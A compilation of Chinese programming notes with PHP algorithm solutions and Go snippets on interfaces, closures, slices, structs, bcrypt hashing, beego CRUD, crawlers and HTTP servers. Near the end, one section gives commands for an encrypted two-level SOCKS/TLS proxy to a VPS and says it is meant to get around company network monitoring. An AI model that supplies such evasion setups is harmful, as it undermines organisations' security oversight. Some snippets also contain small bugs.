给定一个整数数组 nums 和一个目标值 target，请你在该数组中找出和为目标值的那两个整数，并返回他们的数组下标。
给定 nums = [2, 7, 11, 15], target = 9
因为 nums[0] + nums[1] = 2 + 7 = 9
所以返回 [0, 1]
function twoSum($nums, $target)
    {
        if (!isset($nums[1])) return;
        foreach ($nums as $key => $num) {
            unset($nums[$key]);
            $result = array_search($target - $num, $nums);
            if ($result !== false) return [$key, $result];
        }
    }

class Solution {

    /**
     * @param String $J
     * @param String $S
     * @return Integer  https://learnku.com/articles/27545
     */
    function numJewelsInStones($j, $s) {

        $jArr = str_split($j);
        $sArr = str_split($s);
        $i = 0;
        foreach($sArr as $sItem){
            if(in_array($sItem, $jArr)){
                $i++;
            }
        }
        return $i;

    }
}

class MinStack
{

    protected $stack;

    /**
     * initialize your data structure here.
     */
    function __construct()
    {
        $this->stack = [];
    }

    /**
     * @param Integer $x
     * @return NULL
     */
    function push($x)
    {
        $this->stack[] = $x;
    }

    /**
     * @return NULL
     */
    function pop()
    {
        array_pop($this->stack);
    }

    /**
     * @return Integer
     */
    function top()
    {
        return end($this->stack);
    }

    /**
     * @return Integer
     */
    function getMin()
    {
        return min($this->stack);
    }
}

输入: 123
输出: 321
function reverse($x) {
        $result = 0;
        while (abs($x) > 9) {
            $num = $x % 10;
            $x = (int)($x / 10);
            $result = $result * 10 + $num;
        }
        $result = $result * 10 + $x;
        if (strlen(base_convert($result, 10, 2)) > 31) return 0;
        return $result;
    }

输入: 121
输出: true

输入: -123
输出: false
 function isPalindrome($x)
    {
        if ($x < 0) return false;
        if ($x % 10 === 0 && $x != 0) return false;
        $reverse = 0;
        while ($x > $reverse) {
            $reverse = (int)($reverse * 10 + $x % 10);
            $x = (int)($x / 10);
        }
        return $x === $reverse || $x === (int)($reverse / 10);
    }

/**
     * @param ListNode $head
     * @param Integer $val
     * @return ListNode
     */
    function removeElements($head, $val) {
        if(!$head){
            return null;
        }
        $data=$head;
        while($data->next){
            if($data->next->val==$val){
                $data->next=$data->next->next;
            }else{
                $data=$data->next;
            }
        }
        return $head->val==$val?$head->next:$head;      
  }
}

//https://learnku.com/articles/25488
type Pet interface {
    SetName(name string)
    Name() string
    Category() string
}

type Dog struct {
    name string
}

func (dog *Dog) SetName(name string) {
    dog.name = name
}

func (dog Dog) Name() string {
    return dog.name
}

func (dog Dog) Category() string {
    return "dog"
}

func TestDog(t *testing.T) {
    dog := Dog{"little pig"}
    _, ok := interface{}(dog).(Pet)
    fmt.Printf("Dog implements interface Pet: %v\n", ok) // Dog implements interface Pet: false
    _, ok = interface{}(&dog).(Pet)
    fmt.Printf("*Dog implements interface Pet: %v\n", ok) // *Dog implements interface Pet: true
    var pet Pet = &dog
    fmt.Printf("This pet is a %s, the name is %q.\n",
        pet.Category(), pet.Name()) //  This pet is a dog, the name is "little pig".

    dog.SetName("monster")
    fmt.Printf("This pet is a %s, the name is %q.\n",
        pet.Category(), pet.Name()) // This pet is a dog, the name is "monster".
}

var slice []func()
//https://learnku.com/articles/26861
func main() {
    sli := []int{1, 2, 3, 4, 5}
    for _, v := range sli {
        fmt.Println(&v)
        slice = append(slice, func(){
            fmt.Println(v * v) // 直接打印结果
        })
    }

    for _, val  := range slice {
        val()
    }
}
// 输出 25 25 25 25 25

var slice []func()

func main() {
    sli := []int{1, 2, 3, 4, 5}
    for _, v := range sli {
        temp := v // 其实很简单 引入一个临时局部变量就可以了，这样就可以将每次的值存储到该变量地址上
        fmt.Println(&temp) // 这里内存地址是不同的
        slice = append(slice, func(){
            fmt.Println(temp *  temp) // 直接打印结果
        })
    }

    for _, val  := range slice {
        val()
    }
}
// 输出 1, 4, 9, 16, 25 预期结果
for i, v := range
i, v 都是只创建一次，然后循环中赋值。
另外，循环的数组或 Map，是在开始前的镜像，循环中添加或移除元素不改变其循环次数。
关于循环还可以引申的是 Map 时是无序的

type Human struct {
    name string
    age int
}
var tom Human
// 通过赋值初始化 https://learnku.com/articles/25094
tom.name, tom.age = "Tom", 18
// 详细初始化
jerry := Human{age:25, name:"Jerry"}
// 按照结构体声明顺序
peter := Human{"Peter", 34}
// 通过 . 访问
fmt.Printf("%s is %d old\n", tom.name, tom.age)

type Staff struct {
    Human // 隐式的引入 Human 的字段
    wage int
    age float32 // 覆盖 Human 的 age
}
tom := Staff{Human{"Tom", 18}, 1000, 18.5}
jerr := Staff{Human:Human{age:32, name:"Jerr"}, wage: 2000, age: 32.5}
fmt.Printf("%s is %f old，%d years, wage is %d", tom.name, tom.Human.age, tom.age, tom.wage)
fmt.Printf("%s is %f old，%d years, wage is %d", jerr.name, jerr.Human.age, jerr.age, jerr.wage)
type Human struct {
    name string
    age int
}

type Employee struct {
    Human
    wage int
}

func (h *Human) Say() {
    fmt.Printf("Hi, I am %s, My age is %d", h.name, h.age)
}

// Employee 重写 Say
func (e *Employee) Say() {
    fmt.Printf("Hi, I am %s, %d old year, wage is %d per mothn", e.name, e.age, e.wage)
}

func TestPanic(t *testing.T) {
    defer func() {
        fmt.Println("最后结果依旧执行!") // 这一部分的代码依旧执行
    }()
    fmt.Println("执行开始")
    panic(errors.New("错误信息!"))
}
// 输出大致结果如下
开始
最后结果依旧执行!
--- FAIL: TestPanic (0.00s)
panic: 错误信息! [recovered]
panic: 错误信息!

rand.Intn() 函数是个伪随机函数, 不管运行多少次都只会返回同样的随机数, 因为它默认的资源就是单一值, 所以必须调用 rand.Seed(), 并且传入一个变化的值作为参数, 如 time.Now().UnixNano() , 就是可以生成时刻变化的值.

package main

import ("fmt"
        "math/rand"
        "time")

func main() {
    // 初始化随机数的资源库, 如果不执行这行, 不管运行多少次都返回同样的值https://learnku.com/articles/26011
    rand.Seed(time.Now().UnixNano())
    fmt.Println("A number from 1-100", rand.Intn(81))
}

定义要连接的数据库 main.go https://learnku.com/articles/26029#topnav

package  main
import  (
  _  "newgo/routers"
  "github.com/astaxie/beego"
  "github.com/astaxie/beego/orm"
  _  "github.com/go-sql-driver/mysql"
)
func  init()  {
  orm.RegisterDriver("mysql",  orm.DRMySQL)
  orm.RegisterDataBase("default",  "mysql",  "root:root@tcp(127.0.0.1:3306)/go?charset=utf8")
}
func  main()  {
  beego.Run()
}
定义路由 router.go

beego.Router("/type", &controllers.ClassifyController{}, "GET:Type")
beego.Router("/classifyinsert", &controllers.ClassifyController{}, "POST:ClassifyInsert")
beego.Router("/classifyupdate", &controllers.ClassifyController{}, "GET:ClassifyUpdate")
beego.Router("/classifysave", &controllers.ClassifyController{}, "POST:ClassifySave")
beego.Router("/classifydel", &controllers.ClassifyController{}, "GET:ClassifyDel")
model书写

package  models
import  (
  "github.com/astaxie/beego/orm"
)
type  Classify  struct  {
  Id  int
  Name  string
  Content  string
}
func  init()  {
  orm.RegisterModel(new(Classify))
}
//增加操作
func  InsertClassify(name  string,  content  string)  (int64,  error)  {
  o  :=  orm.NewOrm()
  var  clasinfo  Classify
  clasinfo.Name  =  name
  clasinfo.Content  =  content
  id,  err  :=  o.Insert(&clasinfo)
  return  id,  err
}
//删除操作
func  ClassifyDel(id  int)  ([]Classify,  int64,  error)  {
  o  :=  orm.NewOrm()
  var  lists  []Classify
  num,  err  :=  o.QueryTable("classify").Filter("Id",  id).Delete()
  o.QueryTable("inventory").Filter("Cid",  id).Delete()
  return  lists,  num,  err
}
//展示
func  ClassifyList()  ([]Classify,  int64,  error)  {
  o  :=  orm.NewOrm()
  var  lists  []Classify
  num,  err  :=  o.QueryTable("classify").All(&lists)
  return  lists,  num,  err
}
//修改
func  ClassifyUpdate(id  int,  name  string,  content  string)  ([]Classify,  int64,  error)  {
  o  :=  orm.NewOrm()
  var  lists  []Classify
  num,  err  :=  o.QueryTable("classify").Filter("Id",  id).Update(orm.Params{
  "name":  name,
  "content":  content,
  })
  return  lists,  num,  err
}
控制器

package  controllers
import  (
  "fmt"
  "newgo/models"
  "strings"
  "github.com/astaxie/beego/orm"
  "github.com/astaxie/beego"
)
type  ClassifyController  struct  {
  beego.Controller
}
func  (c  *ClassifyController)  Get()  {
  c.TplName  =  "index.html"
}
func  (c  *ClassifyController)  Type()  {
  list,  num,  err  :=  models.ClassifyList()
  if  err  ==  nil  {
  fmt.Println(list)
  fmt.Println(num)
  }
  c.Data["comment"]  =  list
  fmt.Println(list)
  c.TplName  =  "type.html"
}
//添加post
func  (c  *ClassifyController)  ClassifyInsert()  {
  content  :=  strings.TrimSpace(c.GetString("content"))
  name  :=  strings.TrimSpace(c.GetString("name"))
  models.InsertClassify(name,  content)
  c.Ctx.Redirect(302,  "/type")
}
//修改get展示
func  (c  *ClassifyController)  ClassifySave()  {
  id,  _  :=  c.GetInt("id")
  fmt.Println(id)
  content  :=  strings.TrimSpace(c.GetString("content"))
  name  :=  strings.TrimSpace(c.GetString("name"))
  models.ClassifyUpdate(id,  name,  content)
  c.Ctx.Redirect(302,  "/type")
}
//删除
func  (c  *ClassifyController)  ClassifyDel()  {
  id,  _  :=  c.GetInt("id")
  models.ClassifyDel(id)
  c.Ctx.WriteString("200")
}
//修改post方法
func  (c  *ClassifyController)  ClassifyUpdate()  {
  id,  _  :=  c.GetInt("id")
  o  :=  orm.NewOrm()
  type  Comment  struct  {
  Id  int
  Name  string
  Content  string
  }
  var  comments  []Comment
  var  com  []Comment
  num,  err  :=  o.Raw("select  *  from  classify  where  id=?",  id).QueryRows(&comments)
  o.Raw("select  *  from  classify").QueryRows(&com)
  if  err  ==  nil  {
  fmt.Println(num)
  fmt.Println(comments)
  fmt.Println(com)
  c.Data["updates"]  =  comments
  c.Data["comment"]  =  com
  }  else  {
  fmt.Println("查询报错")
  }
  c.TplName  =  "type.html"
}

<?php
namespace App;
class Animal
{
    public $name;
    public $height;
    public $weight;
    public function __construct($name, $height, $weight)
    {
        $this->name = $name;
        $this->height = $height;
        $this->weight = $weight;
    }
    public function getInfo()
    {
        return [
            'name'   => $this->name,
            'height' => $this->height,
            'weight' => $this->weight,
        ];
    }
}
//https://learnku.com/articles/26056
package main
type Animal struct {
    Name string
    Height uint
    Weight uint
}
func NewAnimal(name string, height, weight uint) Animal {
    return Animal{
        Name: name,
        Height: height,
        Weight: weight,
    }
}
func (a *Animal) GetInfo() map[string]interface{} {
    return map[string]interface{}{
        "name": a.Name,
        "height": a.Height,
        "weight": a.Weight,
    }
}

package main
type Animal struct {
    Name string
    Height uint
    Weight uint
}
func NewAnimal(name string, height, weight uint) Animal {
    return Animal{
        Name: name,
        Height: height,
        Weight: weight,
    }
}
//https://learnku.com/articles/26056#reply85350 定义不同类似的结构体
func (a *Animal) GetInfo() map[string]interface{} {
    return map[string]interface{}{
        "name": a.Name,
        "height": a.Height,
        "weight": a.Weight,
    }
}
package main
type AnimalContract interface {
    GetInfo() map[string]interface{}
}
type Animal struct {
    // Struct def...
}
func (a *Animal) GetInfo() map[string]interface{} {
    // Method body... 继承AnimalContract 如果我们定义一个定义该接口的结构，它将隐式继承它。
}
package main
import "fmt"
func main(){
   var array = [9]interface{}{1,3,4,6,7,8,9,10,"index"}
   fmt.Print(array)
}

package array

import (
    "fmt"
)

/**
 * arr 底层扩容知识点https://learnku.com/articles/27630#topnav
 */
func ArrayAppend() []int {
    arr := make([]int,5)
    fmt.Printf("arr.len: %d; arr.cap: %d \n", len(arr),cap(arr))
    arr = append(arr,10)
    //问现在 arr 结果是什么
    fmt.Printf("arr.len: %d; arr.cap: %d \n", len(arr),cap(arr))
    return arr
}

var slice []func()

func main() {
	sli := []int{1, 2, 3, 4, 5}
	for _, v := range sli {
		fmt.Println(&v)
		slice = append(slice, func(){
			fmt.Println(v * v) // 直接打印结果
		})
	}
	//v 在 for 循环引进的一个块作用域内进行声明。在循环里创建的所有函数变量共享相同的变量，就是一个可访问的存储位置，而不是固定的值。(你会惊奇的发现 &v 的内存地址是一样的)https://www.njphper.com/posts/974e86a6.html
	for _, val  := range slice {
		val()
	}
}
// 输出 25 25 25 25 25
var slice []func()

func main() {
	sli := []int{1, 2, 3, 4, 5}
	for _, v := range sli {
	    temp := v // 其实很简单 引入一个临时局部变量就可以了，这样就可以将每次的值存储到该变量地址上
		fmt.Println(&temp) // 这里内存地址是不同的
		slice = append(slice, func(){
			fmt.Println(temp *  temp) // 直接打印结果
		})
	}
	
	for _, val  := range slice {
		val()
	}
}
// 输出 1, 4, 9, 16, 25 预期结果

package main
#https://www.njphper.com/posts/f3f0ab9c.html
import (
    "fmt"
    "log"
    "golang.org/x/crypto/bcrypt"
)

func main() {
    for {
       // 输入密码 获取 hash 值
        pwd := getPwd()
        hash := hashAndSalt(pwd)
       // 再次输入密码验证
        pwd2 := getPwd()
        pwdMatch := comparePasswords(hash, pwd2)
        fmt.Println("Passwords Match?", pwd)
    }
}

func getPwd() []byte {
    fmt.Println("Enter a password")
    var pwd string
    _, err := fmt.Scan(&pwd)
    if err != nil {
        log.Println(err)
    }
    return []byte(pwd)
}


func hashAndSalt(pwd []byte) string {
    hash, err := bcrypt.GenerateFromPassword(pwd, bcrypt.MinCost)
    if err != nil {
        log.Println(err)
    }
    return string(hash)
}

func comparePasswords(hashedPwd string, plainPwd []byte) bool {
    byteHash := []byte(hashedPwd)

    err := bcrypt.CompareHashAndPassword(byteHash, plainPwd)
    if err != nil {
        log.Println(err)
        return false
    }
    return true
}
str := `{"page": 1, "fruits": ["apple", "peach"]}`
实例化了一个 json 字符串，fruits 对应的是一个数组。
在 Go 语言中，字符串字面量可以使用双引号 "" 或者反引号 ' 来创建

first := "fisrt"
fmt.Println([]rune(first))
fmt.Println([]byte(first))
[]rune(s), 它可以将字符串转化成 unicode 码点
byte 表示一个字节，rune 表示四个字节
first := "社区"
fmt.Println([]rune(first))
fmt.Println([]byte(first))
[31038 21306] //输出结果[]rune
[231 164 190 229 140 186]//输出结果[]byte
s := "截取中文"
//试试这样能不能截取?
fmt.Println(s[:2])

s := "截取中文"
//试试这样能不能截取? https://www.njphper.com/posts/c251fcd3.html
res := []rune(s)
fmt.Println(string(res[:2]))

硬币问题：如果我们有面值为1元、3元和5元的硬币若干枚，如何用最少的硬币凑够11元？https://blog.mutoe.com/2019/dynamic-programming/
// CoinChange: coins 硬币, amount 期望的金额, 返回最少需要的硬币数量，如果不可解返回-1
func CoinChange(coins []int, amount int) int {
  dp := make([]int, amount+1)
  dp[0] = 0

  for i := 1; i <= amount; i++ {
    dp[i] = amount + 1
    for _, coin := range coins {
      if coin <= i && dp[i-coin] != -1 && dp[i-coin]+1 < dp[i] {
        dp[i] = dp[i-coin] + 1
      }
    }
    if dp[i] > amount {
      dp[i] = -1
    }
  }

  return dp[amount]
}

https://learnku.com/golang/t/23385/from-a-php-engineers-point-of-view-go

first, second = second, first
func getName() (string, string) {
    return "hello", "world"
}

first, last = getName()
// foreach ($bookings as $key => $booking) {}
for key, booking := range bookings {}

// for ($i = 0; $i < count($bookings); $i++) {}
for i := 0; i < len(bookings); i++ {}

// while ($i < count($bookings)) {}
for i < len(bookings) {}

// do {} while (true);
for {}
type rect struct { // 定义一个结构体
    width  int
    height int
}

func (r *rect) area() int { // 在结构体上添加方法
    return r.width * r.height
}

r := rect{width: 10, height: 15} // 初始化
fmt.Print(r.area())
type Employee struct {
    Name string
    Job  Job
}

type Job struct {
    Employer string
    Position string
}

// 并去结构化它
e := Employee{
    Name: "Sobit",
    Job: {
        Employer: "GetYourGuide",
        Position: "Software Engineer",
    },
}func heartbeat() {
     for {
         time.Sleep(time.Second)
         fmt.Println("I'm still running...")
     }
 }
 现在， 我们怎样才能让这个函数在后台执行并且允许我们并行的做其他事呢？ 答案比你想象中要简单， 只需要在执行函数前加一个 go :
 
 go heartbeat()
 
 // 继续做其他事
 Go 自带开箱即用关注代码风格的 go fmt 工具。 不再需要分享 IDE 的配置文件， 不用尝试记住大括号应该是在同一行还是再起一行。
 
 可以使用 go doc 去阅读源码包文档， 而 go vet 将会协助我们查找代码中的问题。 安装第三方包只需要执行 go get [github.com/[vendor]/[package](http://github.com/[vendor]/[package)] 指令， 测试只需要执行 go test [package] 指令。

package main
import (
	"fmt"
	"io/ioutil"
	"net/http"
)
func main() {
	fmt.Println("Hello, world")
	url := "http://www.baidu.com/"
	download(url)
}
func download(url string) {
	client := &http.Client{}
	req, _ := http.NewRequest("GET", url, nil)
	// 自定义Header
	req.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("http get error", err)
		return
	}
	//函数结束后关闭相关链接https://zhangslob.github.io/2019/01/16/Golang%E5%86%99%E7%88%AC%E8%99%AB/
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("read error", err)
		return
	}
	fmt.Println(string(body))
}

package main
import (
	"fmt"
	"github.com/jackdanger/collectlinks"
	"net/http"
)
func main() {
	fmt.Println("Hello, world")
	url := "http://www.baidu.com/"
	download(url)
}
func download(url string) {
	client := &http.Client{}
	req, _ := http.NewRequest("GET", url, nil)
	// 自定义Header
	req.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("http get error", err)
		return
	}
	//函数结束后关闭相关链接
	defer resp.Body.Close()
	links := collectlinks.All(resp.Body)
	for _, link := range links {
		fmt.Println("parse url", link)
	}
}

git clone https://github.com/jc91715/go-simple-mvc
go get github.com/astaxie/beego
go get github.com/go-sql-driver/mysql

go run main.go
https://learnku.com/articles/29546

dateTime := time.Now()
fmt.Println(dateTime)
year := time.Now().Year() //年

fmt.Println(year)

month := time.Now().Month() //月
fmt.Println(month)

fmt.Println(time.Now().Format("2006-01-02 15:04:05"))
t := time.Date(2014, 1, 7, 5, 50, 4, 0, time.Local).Unix()
https://learnku.com/golang/t/30925

package http

import (
    "fmt"

    "github.com/imroc/req"
    logger "xxx" //logger日志封装
    util "xxxx/sdk-utils"
)

type method string

const (
    GET    method = "GET"
    POST   method = "POST"
    PUT    method = "PUT"
    PATCH  method = "PATCH"
    DELETE method = "DELETE"
)

type Response struct {
    Data []byte
}

//反序列化操作
func (r *Response) Deserialize(object interface{}) (err error) {
    err = util.JSONUnmarshal(r.Data, object)
    return err
}

//支持所有类型请求.
func Request(method method, url string, v ...interface{}) (response *Response, err error) {
    var r *req.Resp
    response = new(Response)
    switch method {
    case "GET":
        r, err = req.Get(url, v...)
    case "POST":
        r, err = req.Post(url, v...)
    case "PUT":
        r, err = req.Put(url, v...)
    case "PATCH":
        r, err = req.Patch(url, v...)
    case "DELETE":
        r, err = req.Delete(url, v...)
    }

    if err != nil {
        return
    }

    statusCode := r.Response().StatusCode
    if statusCode != 200 {
        err = fmt.Errorf("http cilent code err: %d", statusCode)
        return
    }

    response.Data = r.Bytes()
    return
}
https://learnku.com/articles/30935

export GO111MODULE=on
export GOPROXY=https://goproxy.io

package main

import "fmt"

func main() {
    YangHuiTriangle(10)
}
//https://learnku.com/articles/31290
func YangHuiTriangle(n int) []int {
    i := n - 1
    line := make([]int, n)
    if i <= 0 {
        line = []int{1}
        fmt.Println(line)
        return line
    }
    down := YangHuiTriangle(i)
    for x := 0; x < n; x++ {
        if x == 0 {
            line[0] = 1
            continue
        }
        if x == n-1 {
            line[x] = 1
            continue
        }
        line[x] = down[x-1] + down[x]
    }
    fmt.Println(line)
    return line
}

package main

import (
    "fmt"
    "encoding/json"
    "time"

)

func main() {
    type Fruit struct {
        Name string `json:"Name"`
        PriceTag string `json:"PriceTag"`
    }

    type FruitBasket struct {
        Name    string 
        Fruit   map[string]Fruit
        Id      int64 `json:"ref"`// 声明对应的json key
        Created time.Time

    }    
    jsonData := []byte(`
    {
        "Name": "Standard",
        "Fruit" : {
        "1": {
        "Name": "Apple",
        "PriceTag": "$1"
        },
        "2": {
        "Name": "Pear",
        "PriceTag": "$1.5"
        }
        },
        "ref": 999,
        "Created": "2018-04-09T23:00:00Z"
    }`)

    var basket FruitBasket
    err := json.Unmarshal(jsonData, &basket)
    if err != nil {
         fmt.Println(err)
    }
    for _, item := range basket.Fruit {
    fmt.Println(item.Name, item.PriceTag)
    }
}
//https://learnku.com/articles/31320

对于 go 语言的数组，copy 和 view 是同时都存在的。

copy 就是使用这个数组的时候我将这个数组拷贝一份，这样对于数组的增删改，是不会改变原数组的值的
view 由数组执行切片所返回的对象是一个 view，即视图，若我们在视图上操作数组，会改变原数组，
copy 场景

package  main

import  (
  "fmt"
)

func  updateArr(arr [5]int)  {
  arr[0]  =  100
  fmt.Println("修改后的arr：", arr)
}

func  main()  {
  arr3  :=  [...]int{2,  4,  5,  6,  7}
  fmt.Println("原来的：", arr3)
  updateArr(arr3)
  fmt.Println("再次查看原始的：", arr3)
}
输出结果：
原来的： [2 4 5 6 7]
修改后的arr： [100 4 5 6 7]
再次查看原始的： [2 4 5 6 7]
如上代码可以看到，我们在 updateArr 里面修改了下标为 0 的值，但是我们输出原始数组的时候，并没有变。这就是对数组 copy。

view 场景

func  updateArr(arr []int)  {
  arr[0]  =  100
  fmt.Println("修改后的arr：", arr)
}

func  main()  {
  arr3  :=  [...]int{2,  4,  5,  6,  7}
  fmt.Println("原来的：", arr3)
  // 使用切片
  updateArr(arr3[:])
  fmt.Println("再次查看原始的：", arr3)
}
输出结果：
原来的： [2 4 5 6 7]
修改后的arr： [100 4 5 6 7]
再次查看原始的： [100 4 5 6 7]
为什么 view 能够改变原数组

虽然 Slice 本身是值类型，但是它内部使用了对数组的指针引用，所以修改切片数据，会将数组原有数据修改掉。

当然，在理解上面的同时，一定要知道 go 是如何定义一个切片的

var b []int
所以，在 updateArr 这个函数传参的时候 arr []int 是传切片进去。不然会报错 https://learnku.com/articles/32171

值传递

type person struct {
    name string
    age int
    gender string
}

// 方法定义
func (p person) setName(name string) {
    p.name = name
    fmt.Println("person name is:",  p.name)
}

func (p *person) describe() {
    fmt.Printf("我叫 %v, 我今年 %v 了", p.name, p.age)
}

func main() {
    p := person{"Tom", 22, "man"}
    // 修改name的值
    p.setName("jury")
    p.describe()
}
如上，我们在 setName 这个函数的接受者 是 p person。 此时，就相当于把 person{"Tom", 22, "man"} 拷贝一份传递过去。
引用传递

引用传递就是将该值在内存中的存储地址传递过去。

type person struct {
    name string
    age int
    gender string
}

// 方法定义
func (p *person) setName(name string) {
    p.name = name
    fmt.Println("person name is:",  p.name)
}

func (p *person) describe() {
    fmt.Printf("我叫 %v, 我今年 %v 了", p.name, p.age)
}

func main() {
    p := person{"Tom", 22, "man"}
    // 修改name的值
    p.setName("jury")
    p.describe()
}
我们在 setName 这个函数的接受者 是 p *person。 此时，就相当于把 person{"Tom", 22, "man"} 存储地址传递过去。
https://learnku.com/articles/32233

package main

import (
  "fmt"
  "strconv"
)

// 动物类
type Animal struct {
  name string
  subject string
}

// 动物的公共方法
func (a *Animal) eat(food string) {
  fmt.Println(a.name + "喜欢吃：" + food +",它属于:" + a.subject)
}

// 猫类，继承动物类https://learnku.com/articles/32295#reply102908
type Cat struct {
  // 继承动物的属性和方法
  Animal
  // 猫自己的属性
  age int
}

// 猫类独有的方法 type name struct{} 结构体 就相当于其他语言中的 class 类的概念。
func (c Cat) sleep() {
  fmt.Println(c.name + " 今年" + strconv.Itoa(c.age) + "岁了,特别喜欢睡觉")# go 语言中，string + int，如果想要一个字符串，则需要对 int 类型的值转换为 string 类型，然后才能拼接。
}

func main() {
  // 创建一个动物类
  animal := Animal{name:"动物", subject:"动物科"}
  animal.eat("肉")

  // 创建一个猫类
  cat := Cat{Animal: Animal{name:"咪咪", subject:"猫科"},age:1}
  cat.eat("鱼")
  cat.sleep()
}
输出结果：
    动物喜欢吃：肉,它属于:动物科
    咪咪喜欢吃：鱼,它属于:猫科
    咪咪 今年1岁了,特别喜欢睡觉

如果之前学过 PHP 或者其他语言，可以知道实现一个接口，不仅需要实现其接口里的方法，也需要使用 implements 显式说明其实现了该接口。
go 则是 duck type，即像鸭子，那它就可以是个鸭子。也就是说，在 go 中，是要是结构体实现了某个接口指定的方法，那它就是实现了这个接口，不需要使用 implements 显式说明。

现在说一下接口优点，最大的莫过于控制反转和解耦。举个例子，比如设计一个发送短信的服务，我想接入阿里云与腾讯云的短信业务，此时应该如何设计比较好？是在最底层通过 type 分类来区分，还是在上层通过传入不同的服务，来对应发送不同的运营商短信比较优雅？其实看 laravel 框架上的实现就很明白了。

同时，go 中的多态的特性通过接口来展现的。

package main

import "fmt"

type Usb interface {
    Start()
    Stop()
}

type Phone struct {
    Name string
}

func (p Phone) Start() {
    p.Name = "张三" //这里对引用传递还是值传递的作用一样生效，所以这里没有变化
    fmt.Println("手机开始工作了...")
}

func (p Phone) Stop() {
    fmt.Println(p.Name) //李四
    fmt.Println("手机停止工作了...")
}

type Carame struct {
    Name string
}

func (c *Carame) Start() {
    c.Name = "张三" //这里对引用传递还是值传递的作用一样生效，所以这里有变化
    fmt.Println("相机开始工作了...")
}
func (c *Carame) Stop() {
    fmt.Println(c.Name) //张三
    fmt.Println((*c).Name) //张三
    fmt.Println("相机停止工作了...")
}

type Computer struct {
}

//Usb是前面定义的接口，这里调用的2个函数，在结构体中一定都要有声明过，否则报错。
func (com *Computer) Working(usb Usb) {
    usb.Start()
    usb.Stop()
}

func main() {
    var phone = Phone{}
    phone.Name = "李四"
    var carame = Carame{}
    carame.Name = "李四"
    var computer = Computer{}
    //这里传入参数是地址还是对象，需要依靠原结构体里定义的方法来判断(比如Phone结构体)。比如Phone结构体中的start方法是p，此时Working传入对象还是地址都可以。如果是*p，则必须传入地址。与com的类型无关。
    computer.Working(&phone)
    computer.Working(&carame)
    //最后输出
    // 手机开始工作了...
    // 李四
    // 手机停止工作了...
    // 相机开始工作了...
    // 张三
    // 相机停止工作了...
}
https://learnku.com/golang/t/32266

接口使用 interface 关键字声明，任何实现接口定义方法的类都可以实例化该接口，接口和实现类之间没有任何依赖
type Sayer interface {
    Say(message string)
    SayHi()
}
继承使用组合的方式实现

type Animal struct {
    Name string
}

func (a *Animal) Say(message string) {
    fmt.Printf("Animal[%v] say: %v\n", a.Name, message)
}

type Dog struct {
    Animal
}
Dog 将继承 Animal 的 Say 方法，以及其成员 Name
子类可以重新实现父类的方法

// override Animal.Say
func (d *Dog) Say(message string) {
    fmt.Printf("Dog[%v] say: %v\n", d.Name, message)
}
Dog.Say 将覆盖 Animal.Say
var sayer Sayer

sayer = &Dog{Animal{Name: "Yoda"}}
sayer.Say("hello world")

https://gitee.com/snail/proxy
为了绕开公司网络的监测，需要加密本地发往代理服务器的数据，然后由代理服务器解密数据，再发往真正的服务器，因些我们需要两级代理
./proxy keygen -C proxy
执行命令会在当前目录下生成 proxy.key 和 proxy.crt 两个文件，将这两个文件复制到本机的 Proxy 安装目录中
在 VPS 上执行命令：
./proxy socks -t tls -p ":3333" -C proxy.crt -K proxy.key --daemon --forever --log proxy.log

本机打开 Proxy 安装目录中的 “bootstrap.bat” 文件，将 “proxy.exe ...” 这一行修改为：

proxy.exe socks -p ":3334" -t tcp -T tls -P "IP:3333" -C proxy.crt -K proxy.key --debug
其中小写 "p" 表示本机监听端口，大写 “P” 表示 VPS 端监听地址，小写 “t” 表示本机使用的传输协议，大写 “T” 表示 VPS 端使用的传输协议。保存文件后，双击 “bootstrap.bat” 即可启动 Proxy。
https://learnku.com/articles/32369

方法一（异步）

func async() {
    cmd1 := exec.Command("ls", ".")
    cmd2 := exec.Command("grep", "go")
    out, _ := cmd1.StdoutPipe()
    in, _ := cmd2.StdinPipe()
    cmd2.Stdout = os.Stdout
    go func() {
        defer func() {
            out.Close()
            in.Close()
        }()
        io.Copy(in, out)
    }()
    cmd1.Run()
    cmd2.Run()
}
方法二（同步）

func sync() {
    cmd1 := exec.Command("ls", ".")
    cmd2 := exec.Command("grep", "go")
    in, _ := cmd2.StdinPipe()
    cmd1.Stdout = in
    cmd2.Stdout = os.Stdout
    cmd2.Start()
    cmd1.Run()
    in.Close()
    cmd2.Wait()
}
方法三（多个）

func main() {
    cmd1 := exec.Command("ls", ".")
    cmd2 := exec.Command("grep", "go")
    cmd3 := exec.Command("grep", "main")
    cmd3.Stdout = os.Stdout
    pipe(cmd1, cmd2, cmd3)
    cmd1.Run()
    cmd2.Run()
    cmd3.Run()
}

func pipe(cmds ...*exec.Cmd) {
    for i, cmd := range cmds {
        if i > 0 {
            out, _ := cmds[i-1].StdoutPipe()
            in, _ := cmd.StdinPipe()
            go func() {
                defer func() {
                    out.Close()
                    in.Close()
                }()
                io.Copy(in, out)
            }()
        }
    }
}
https://learnku.com/articles/33592

package main

import (
    "io"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/hello", helloHandler)
    err := http.ListenAndServe(":8000", nil)
    if err != nil {
        log.Fatal("ListenAndServe:", err.Error())
    }
}

func helloHandler(w http.ResponseWriter, r *http.Request) {
    io.WriteString(w, "hello, world!")
}
$ go run hello.go
$ curl http://localhost:8080/hello
hello, world!
https://learnku.com/golang/wikis/26652

https://github.com/zhshch2002/goribot  
package main

import (
    "encoding/json"
    "fmt"
    "github.com/zhshch2002/goribot"
)

func main() {
    s := goribot.NewSpider()
    _ = s.Get(nil, "https://httpbin.org/get?Goribot%20test=hello%20world", func(r *goribot.Response) {
        m := make(map[string]interface{})
        err := json.Unmarshal([]byte(r.Text), &m)
        if err != nil {
            fmt.Println(err)
        }
        fmt.Println(m)
    })
    s.Run()
}
https://learnku.com/golang/t/33980

go get -u github.com/cosmos72/gomacro
λ gomacro.exe
// GOMACRO, an interactive Go interpreter with generics and macros
// Copyright (C) 2018-2019 Massimiliano Ghilardi <https://github.com/cosmos72/gomacro>
// License MPL v2.0+: Mozilla Public License version 2.0 or later <http://mozilla.org/MPL/2.0/>
// This is free software with ABSOLUTELY NO WARRANTY.
//
// Type :help for help
gomacro> a:=1
gomacro> a
1       // int
